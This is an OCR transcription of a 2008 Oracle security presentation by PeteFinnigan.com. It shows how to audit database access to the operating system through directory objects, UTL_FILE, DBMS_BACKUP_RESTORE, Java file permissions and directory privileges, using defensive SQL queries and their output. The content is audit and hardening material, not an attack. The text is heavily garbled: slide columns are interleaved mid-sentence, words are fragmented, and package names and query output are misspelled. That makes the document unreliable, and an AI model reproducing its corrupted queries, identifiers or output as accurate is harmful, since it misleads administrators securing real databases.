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fu o 0o 09 09 D9 00 0O Og [f
it
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[root@vostok

W

it

Test all of the directories pointed at by DIRECTORY
objects and utl_file_dir for issues

root@vostok orablogl! Test file permissions, directory permissions
Sample file contents

Here we have world privileges and critical data
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Object tupe is => PACKAGE CTAB) Normal recommend practice is to

PSR AET R ioel iR g SN AT Y revoke PUBLIC execute privilege
User =) FLOWS_P30AAB (ADM = NO> .
Role => PUBLIC (ADM = HO> The dependency issue shows 63

PL/5QL procedure successfully completed. other ObJeCtS depend on UTL_F”—E

[some not genuine —i.e. UTL _FILE
For updates please wvisit http:sswuwu.petef body]

SQL> select owner,.name.type
2 from dba_dependencies
3 where referenced_name='UTL_FILE’;

DBMS _REPCAT_MIGRATION PACKAGE
DBMS_STREAMS _MT PACKAGE
DBMS_STREAMS _SM PACKAGE
DEMS _LOGMNR_INTERNAL PACKAGE
DBMS_CMP_INT PACKAGE
UTL_FILE PACKAGE
DBMS _REGISTRY_SYS PACKAGE
DBM:S _SCHEDULER PACKAGE
DBMS_ISCHED PACKAGE
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1ol

File Edit Fomat View Help

FORCE BINARY_INTEGER IN =]
PROCEDURE DELETED_GETDBEIMNFO

FPROCEDURE DELETEFILE

Argument Name Type In/out Default?

FMAME VARCHAR?Z IN LOtS Of Other paCkageS eXISt

FUNCTION DEVICEALLOCATE RETURNS WARCHARZ2
Argument Name Type In/out Default?

o o - oo | that allow file system access

NAME VARCHARZ2 IN DEFAULT

IDENT VARCHARZ IN DEFAULT

NOIO BOOLEAN IN DEFAULT

PARAMS VARCHAR2 IN DEFAULT :
FUNCTION DEVICEALLOCATE RETURNS WARCHARZ2 D B M S BAC KU P R ESTO R E IS

Argument MName Type In/out Default? _ _

TYPE VARCHARZ2 IN DEFAULT

NAME VARCHARZ2 IN DEFAULT an exam ple

IDENT VARCHARZ2 IN DEFAULT

NOIO BOOLEAN IN DEFAULT

PARAMS VARCHARZ IN DEFAULT

NODE VARCHARZ2 ouT

Sy % - | LOcating packages can be done

PROCEDURE DEWICECOMMAND

Argument MName Type In/out Default? b CheCkln for aCka eS Wlth
€MD VARCHAR2 IN y g p g

PARAMS VARCHARZ2 IN DEFAULT E

PROCEDURE DEVICEDEALLOCATE FILE in the name, or arguments
Argument Name Type In/out Default?

PARAMS VARCHARZ2 IN DEFAULT d p d f y
FUNCTION DEVICEQUERY RETURNS WARCHARZ Or Vla e en enCIeS O an

Argument Name Type In/out Default? | t d

QUESTION BINARY_INTEGER IN Oca e

PROCEDURE DEVICESTATUS

Argument MName Type In/out pefault?

STATE BINARY_INTEGER ouT

TYPE VARCHARZ2 ouT

NAME VARCHARZ2 ouT

BUFSZ BINARY_INTEGER ouT

BUFCNT BINARY_INTEGER ouT

KBYTES NUMBER ouT

READRATE BINARY_INTEGER ouT

PARALLEL BINARY_INTEGER ouT

PROCEDURE DOAUTOBACKUP

Argument Name Type In/out Default? =
L] Bl
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e Java — find file access permissions

* Locate all packages that use the privileges, check
dependencies, access to those packages...

e CAWINDOW Shsystem32cmd exe - sglplus orescan/orascan@onc]
SQL> Bjava_file

GRANTEE PERMHAME ACTION

FilePermission JAVASYSPRI <<ALL FILES:>*

FilePermizszion USERPR <<ALL FILES>> read
FilePermizzion _DEPLO bhin/chmod execute
FilePermission _DEPLO javavmsadmin.* write
FilePermission _DEPLO javavm~sdeploy-= read
FilePermission ERVER Jjavavm~slib/management* read
FilePermiz=zion Javavmslib/management.jmxpremote .access read
FilePermizzion Javavmslib/managementsmanagement . propert read

FilePermizszion md~jlib.= read
FilePermission mdjlibhs* read
FilePermission sdosdemosgeoraster~jlibs. = read
FilePermission sdosdemosgeorastersjlibhs = read
FilePermission ovhshinsadminsrtrepos.properties read,.wri

FilePermiszsion OWBSYS owbsbinsunix-run_service.sh read.exe
FilePermission OWBSYS owbsbinswin3d2-run_szervice.bat read.exe
FilePermizsion SYSTEM <{ALL FILES>> read
rows selected.

SQL>
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e (COAWINDOW Shsystem32'cmd _exe - sglplus orescan/oascan@onc] - | Ellﬂ
Privilege => CREATE ANY DIRECTORY has heen B

cvs oM = Srss Check who can create or

SYSMAN <ADM = NO> . .

AR CADM = NO> drop directories

SYSTEM <ADM = YES>

APPROLE <ADM = WO>» which is granted to =>

bier 3 p - S

SE = =

User => SYSTEM (ADM - YES> Check who can change
SYS (ADM = NO> . .
WKSYS CADM = NOD utl file dir
SPATIAL_WFS_ADMIN_USR <(ADM = NO> — e
SPATIAL_CSW_ADMIN_USR <ADM = NO>
IMP_FULL_DATABASE <ADM = MNO> which iz granted to =>
User => SYS <ADM = YES>

U 23 YRBORTER CDH o NO> Check who could grant

Role => DBA <ADM = HNO» which iz granted to =3 N1
User => SYS CADM = YES)> these perIlegeS
User => SYSMAN {ADM = HO>
Uzer => AR CADM = NO>
User => SYSTEM <ADM = YES>

Role =3 EEEEDEE ](EFIBDEIH;"H(_))Ngglich is granted t CheCk WhO can Change’

User => AR CADM = NO>

User => SYSTEM ¢ADM = YES) B create.. Procedures and
DATAPUMP_IMP_FULL_DATABASE <ADM = NO> which i

fo N libraries
e CAWINDOW Shsystem 3 cmd _exe - sglplus omscan/orn—a e

SQL> szelect name from system_privilege_map
2 where name like *xDIRECT:x‘;

DROP AMNY DIRECTORY
CREATE ANY DIRECTORY

s
User => OWBSYS (aDjSQL>

12/12/2008 Copyright (c) 2008 63
PeteFinnigan.com Limited



Securing access to the operating system is not
complex but as with the data analysis there are
many components, layers, hierarchy and
duplication in paths

We must understand all interfaces to the operating
system

We must understand all API's exposing these
Interfaces

We must understand the privileges that allow
access to the operating system

A pattern is emerging in terms of components we
must secure in Oracle
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— Mu
— Mu
— Mu
— Mu

t
tl
tl
tl

D
D
0

D

 Each of the three examples has
— Layers of complexity

e requirements for one area - Users
e paths to data

e coples of data

e pieces of the puzzle involved with

operating system objects
— Multiple paths to the operating system

o See the pattern now?
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* As an example passwords are easy to
audit but hard to fix

* As an example user privileges are hard to
audit fully and also hard to fix

 Investigating other areas? — use same
iIdeas and technigues to ensure complete
solutions

e Think about all components — use simple
tools
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 There are a few important lessons we must learn
to secure data held in an Oracle database

— We must secure the “data” not the software
(quite obviously we MUST secure the
software to achieve “data” security)

— We must start with the “data” not the software

— We must understand who/how/why/when
“data” could be stolen

— This may involve traditional downloadable
exploits, it may not!
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e Oracle security Is not rocket science

* Oracle security iIs complex though
because we must consider “where” the
“data” Is and “who” can access it and
“how”

* Looking for problems is often much easier
than the solutions — remember passwords

o Often there are “layers” and “duplication”
« Careful detailed work is needed
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PeteFinnigan.com Limited

Any Questions?

Oracle Seturitv Expertise
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Contact - Pete Finnigan

PeteFinnigan.com Limited
9 Beech Grove, Acomb
York, YO26 5LD

Phone: +44 (0) 1904 791188
Mobile: +44 (0) 7742 114223
Email: pete@petefinnigan.com
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